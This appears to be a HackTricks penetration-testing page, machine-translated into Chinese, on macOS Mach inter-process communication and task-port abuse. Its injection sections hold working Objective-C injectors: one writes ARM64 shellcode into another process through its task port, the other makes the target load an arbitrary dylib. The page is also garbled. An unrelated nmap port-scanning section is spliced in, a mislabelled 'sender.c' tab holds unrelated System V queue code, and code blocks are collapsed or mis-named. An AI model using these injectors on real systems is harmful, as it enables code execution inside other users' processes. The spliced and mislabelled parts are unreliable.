hacktricks/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication
2023-10-12 16:23:41 +00:00
..
macos-pid-reuse.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2023-09-25 00:58:38 +00:00
macos-xpc-authorization.md Translated ['README.md', 'backdoors/salseo.md', 'forensics/basic-forensi 2023-10-05 15:48:49 +00:00
macos-xpc-connecting-process-check.md Translated ['linux-hardening/bypass-bash-restrictions/bypass-fs-protecti 2023-09-20 23:22:05 +00:00
README.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2023-10-12 16:23:41 +00:00

macOS IPC - 进程间通信

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

通过端口进行Mach消息传递

Mach使用任务task作为共享资源的最小单位,每个任务可以包含多个线程。这些任务和线程与POSIX进程和线程一一对应

任务之间的通信通过Mach进程间通信IPC进行利用单向通信通道。消息通过端口传递,端口类似于由内核管理的消息队列

每个进程都有一个IPC表,其中可以找到进程的Mach端口。Mach端口的名称实际上是一个数字指向内核对象的指针

进程还可以将带有某些权限的端口名称发送给其他任务,内核将在其他任务的IPC表中创建此条目。

端口权限定义了任务可以执行的操作,这对通信至关重要。可能的端口权限有:

  • 接收权限允许接收发送到端口的消息。Mach端口是MPSC多生产者单消费者队列这意味着整个系统中可能只有一个接收权限与每个端口相关联(与管道不同,多个进程可以同时持有对一个管道读端的文件描述符)。
  • 具有接收权限的任务可以接收消息并创建发送权限,从而可以发送消息。最初,只有自己的任务对其端口具有接收权限
  • 发送权限,允许向端口发送消息。
  • 发送权限可以克隆,因此拥有发送权限的任务可以克隆该权限并将其授予第三个任务。
  • 一次性发送权限,允许向端口发送一条消息,然后消失。
  • 端口集权限,表示一个端口集而不是单个端口。从端口集中出队一条消息会从其中一个包含的端口中出队。端口集可用于同时监听多个端口类似于Unix中的select/poll/epoll/kqueue
  • 死名称,它不是实际的端口权限,而只是一个占位符。当一个端口被销毁时,所有现有的端口权限都变成死名称。

任务可以将发送权限传输给其他任务,使其能够发送消息回来。发送权限也可以克隆,因此任务可以复制并将权限授予第三个任务。这与一个称为引导服务器的中间进程结合使用,可以实现任务之间的有效通信。

步骤:

正如前面提到的,为了建立通信通道,涉及到引导服务器mac中的launchd)。

  1. 任务A初始化一个新的端口,在进程中获得一个接收权限
  2. 作为接收权限的持有者,任务A为端口生成一个发送权限
  3. 任务A通过引导注册过程与引导服务器建立连接,提供端口的服务名称发送权限
  4. 任务B引导服务器交互,执行服务名称的引导查找。如果成功,服务器复制从任务A接收到的发送权限并将其传输给任务B
  5. 获得发送权限后,任务B能够构建一条消息并将其发送给任务A

引导服务器无法对任务声称的服务名称进行身份验证。这意味着一个任务可能潜在地冒充任何系统任务,例如虚假地声称授权服务名称,然后批准每个请求。

然后Apple将系统提供的服务名称存储在位于SIP保护目录/System/Library/LaunchDaemons/System/Library/LaunchAgents中的安全配置文件中。引导服务器将为每个这些服务名称创建并持有一个接收权限

对于这些预定义服务,查找过程稍有不同。当查找服务名称时launchd会动态启动服务。新的工作流程如下

  • 任务B为服务名称发起引导查找
  • launchd检查任务是否正在运行,如果没有,则启动它。
  • 任务A(服务)执行引导签入。在这里,引导服务器创建一个发送权限,保留它,并将接收权限传输给任务A
  • launchd复制发送权限并将其发送给任务B

然而,此过程仅适用于预定义的系统任务。非系统任务仍然按照最初的描述进行操作,这可能潜在地允许冒充。

枚举端口

To enumerate ports on a macOS system, you can use various tools and techniques. Here are a few methods you can try:

1. Using nmap

nmap is a powerful network scanning tool that can be used to enumerate ports on a target system. You can install nmap on macOS using package managers like Homebrew. Once installed, you can run the following command to scan for open ports:

nmap -p- <target_ip>

This command will scan all ports on the target IP address and display the open ports.

2. Using netstat

netstat is a command-line tool available on macOS that can display active network connections and listening ports. You can use the following command to list all listening ports:

netstat -an | grep LISTEN

This command will show all the ports that are currently in a listening state.

3. Using lsof

lsof is another command-line tool that can be used to list open files, including network connections and listening ports. You can use the following command to list all open ports:

sudo lsof -i -P | grep LISTEN

This command will display all the open ports on your macOS system.

These are just a few methods to enumerate ports on a macOS system. Depending on your specific requirements, you may need to use additional tools or techniques.

lsmp -p <pid>

您可以从http://newosxbook.com/tools/binpack64-256.tar.gz下载并在iOS上安装此工具。

代码示例

请注意,发送方分配了一个端口,为名称org.darlinghq.example创建了一个发送权,并将其发送到引导服务器,而发送方则请求该名称的发送权并使用它来发送消息

{% tabs %} {% tab title="receiver.c" %}

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

{% tab title="sender.c" %}

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

#define MAX_TEXT 512

struct msgbuf {
    long mtype;
    char mtext[MAX_TEXT];
};

int main() {
    int msgid;
    struct msgbuf msg;

    // Create a message queue
    msgid = msgget((key_t)1234, 0666 | IPC_CREAT);
    if (msgid == -1) {
        perror("msgget failed");
        exit(EXIT_FAILURE);
    }

    // Set the message type
    msg.mtype = 1;

    // Set the message text
    strncpy(msg.mtext, "Hello, receiver!", MAX_TEXT);

    // Send the message
    if (msgsnd(msgid, (void *)&msg, MAX_TEXT, 0) == -1) {
        perror("msgsnd failed");
        exit(EXIT_FAILURE);
    }

    printf("Message sent: %s\n", msg.mtext);

    return 0;
}

{% endtab %}

{% tab title="receiver.c" %}

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);


// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;

message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;

strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;

// Send the message.
kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG,    // Options. We're sending a message.
sizeof(message),  // Size of the message being sent.
0,                // Size of the buffer for receiving.
MACH_PORT_NULL,   // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}

{% endtab %} {% endtabs %}

特权端口

  • 主机端口:如果一个进程对该端口具有发送权限,他可以获取有关系统的信息(例如host_processor_info)。
  • 主机特权端口:具有对该端口的发送权限的进程可以执行特权操作,如加载内核扩展。该进程需要是root才能获得此权限。
  • 此外,为了调用**kext_request** API还需要具有其他授权**com.apple.private.kext***这些授权仅提供给Apple二进制文件。
  • 任务名称端口_任务端口_的非特权版本。它引用任务但不允许对其进行控制。似乎唯一可以通过它获得的是task_info()
  • 任务端口(也称为内核端口):对该端口具有发送权限,可以控制任务(读/写内存,创建线程等)。
  • 调用mach_task_self()以获取调用者任务的名称。此端口仅在**exec()之间继承**;使用fork()创建的新任务会获得一个新的任务端口作为特殊情况suid二进制文件在exec()之后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行fork()时执行"端口交换舞蹈"
  • 这些是访问端口的限制(来自二进制文件AppleMobileFileIntegritymacos_task_policy
  • 如果应用具有**com.apple.security.get-task-allow授权**,来自同一用户的进程可以访问任务端口通常由Xcode用于调试公证过程不允许将其用于生产版本。
  • 具有**com.apple.system-task-ports授权的应用程序可以获取任何进程的任务端口**,但不能获取内核的任务端口。在旧版本中,它被称为**task_for_pid-allow**。这仅授予Apple应用程序。
  • Root可以访问未使用强化运行时编译且不是来自Apple的应用程序的任务端口。

通过任务端口在线程中注入Shellcode

您可以从以下位置获取Shellcode

{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}

{% tabs %} {% tab title="mysleep.m" %}

// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}

{% tab title="entitlements.plist" %}权限清单.plist

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>

{% endtab %} {% endtabs %}

编译之前的程序,并添加权限以能够使用相同的用户注入代码(如果不是,则需要使用sudo)。

sc_injector.m ```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector

#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>

#ifdef arm64

kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";

int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }

// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }

// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }

return (0); }

pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@"pgrep", processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/usr/bin/env"]; [task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue]; }

BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }

int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }

NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;

if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }

inject(pid); }

return 0; }

</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>

通过任务端口在线程中进行Dylib注入

在 macOS 中,线程可以通过 Mach 或使用 posix pthread api 进行操作。我们在前面的注入中生成的线程是使用 Mach api 生成的,因此它不符合 posix 标准。

之前我们能够注入一个简单的 shellcode 来执行命令,是因为它不需要使用符合 posix 标准的 api只需要使用 Mach。而更复杂的注入需要线程也符合 posix 标准。

因此,为了改进线程,应该调用 pthread_create_from_mach_thread 来创建一个有效的 pthread。然后这个新的 pthread 可以调用 dlopen 来从系统中加载一个 dylib这样就不需要编写新的 shellcode 来执行不同的操作,而是可以加载自定义库。

你可以在(例如生成日志并监听它的示例 dylibs中找到示例 dylibs

{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %} macos-dyld-hijacking-and-dyld_insert_libraries.md {% endcontent-ref %}

dylib_injector.m ```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c #include #include #include #include <sys/types.h> #include <mach/mach.h> #include <mach/error.h> #include #include #include <sys/sysctl.h> #include <sys/mman.h>

#include <sys/stat.h> #include <pthread.h>

#ifdef arm64 //#include "mach/arm/thread_status.h"

// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported // And I say, bullshit. kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

char injectedCode[] =

// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)

// Call pthread_set_self

"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables "\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack "\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer "\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the "\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; "\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start "\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; "\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) "\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread "\x00\x00\x00\x14" // loop: b loop ; loop forever

// Call dlopen with the path to the library "\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; "\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; "\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop "\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()

// Call pthread_exit "\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT "\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; "\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit

"PTHRDCRT" // <- "PTHRDEXT" // <- "DLOPEN__" // <- "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;

int inject(pid_t pid, const char *lib) {

task_t remoteTask; struct stat buf;

// Check if the library exists int rc = stat (lib, &buf);

if (rc != 0) { fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); //return (-9); }

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

// Patch shellcode

int i = 0; char *possiblePatchLocation = (injectedCode ); for (i = 0 ; i < 0x100; i++) {

// Patching is crude, but works. // extern void *_pthread_set_self; possiblePatchLocation++;

uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; uint64_t addrOfDlopen = (uint64_t) dlopen;

if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) { memcpy(possiblePatchLocation, &addrOfPthreadExit,8); printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); }

if (memcmp(possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
    memcpy(possiblePatchLocation, &addrOfPthreadCreate, 8);
    printf("从 mach 线程创建 Pthread @%llx\n", addrOfPthreadCreate);
}

if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
    printf("DLOpen @%llx\n", addrOfDlopen);
    memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}

if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
    strcpy(possiblePatchLocation, lib);
}
}

// 将 shellcode 写入分配的内存
kr = mach_vm_write(remoteTask,                   // 任务端口
                   remoteCode64,                 // 虚拟地址(目标)
                   (vm_address_t) injectedCode,  // 源
                   0xa9);                       // 源的长度

if (kr != KERN_SUCCESS)
{
    fprintf(stderr, "无法写入远程线程内存:错误 %s\n", mach_error_string(kr));
    return (-3);
}

// 设置分配的代码内存的权限
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS)
{
    fprintf(stderr, "无法设置远程线程代码的内存权限:错误 %s\n", mach_error_string(kr));
    return (-4);
}

// 设置分配的堆栈内存的权限
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS)
{
    fprintf(stderr, "无法设置远程线程堆栈的内存权限:错误 %s\n", mach_error_string(kr));
    return (-4);
}

// 创建线程来运行 shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));

remoteStack64 += (STACK_SIZE / 2); // 这是真正的堆栈
//remoteStack64 -= 8;  // 需要 16 字节对齐

const char *p = (const char *)remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t)remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t)remoteStack64;

printf("远程堆栈 64  0x%llx远程代码为 %p\n", remoteStack64, p);

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
                           (thread_state_t)&remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);

if (kr != KERN_SUCCESS)
{
    fprintf(stderr, "无法创建远程线程:错误 %s", mach_error_string(kr));
    return (-3);
}

return (0);
}

int main(int argc, const char *argv[])
{
if (argc < 3)
{
    fprintf(stderr, "用法:%s _pid_ _action_\n", argv[0]);
    fprintf(stderr, "   _action_磁盘上 dylib 的路径\n");
    exit(0);
}

pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;

int rc = stat(action, &buf);
if (rc == 0)
    inject(pid, action);
else
{
    fprintf(stderr, "找不到 dylib\n");
}
}
```bash gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ./inject </path/to/lib.dylib> ``` ### 通过任务端口进行线程劫持

在这种技术中,进程的一个线程被劫持:

{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %} macos-thread-injection-via-task-port.md {% endcontent-ref %}

XPC

基本信息

XPC代表XNUmacOS使用的内核进程间通信是macOS和iOS上进程之间通信的框架。XPC提供了一种机制用于在系统上不同进程之间进行安全的异步方法调用。它是苹果安全范例的一部分允许创建权限分离的应用程序其中每个组件仅以执行其工作所需的权限运行从而限制了受损进程可能造成的潜在损害。

有关此通信工作方式以及可能存在的漏洞的更多信息,请参考:

{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/" %} macos-xpc {% endcontent-ref %}

MIG - Mach接口生成器

MIG被创建用于简化Mach IPC代码的生成过程。它基本上为服务器和客户端生成所需的代码以便它们可以进行通信。即使生成的代码很丑陋开发人员只需要导入它他的代码也会比以前简单得多。

有关更多信息,请查看:

{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md" %} macos-mig-mach-interface-generator.md {% endcontent-ref %}

参考资料

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥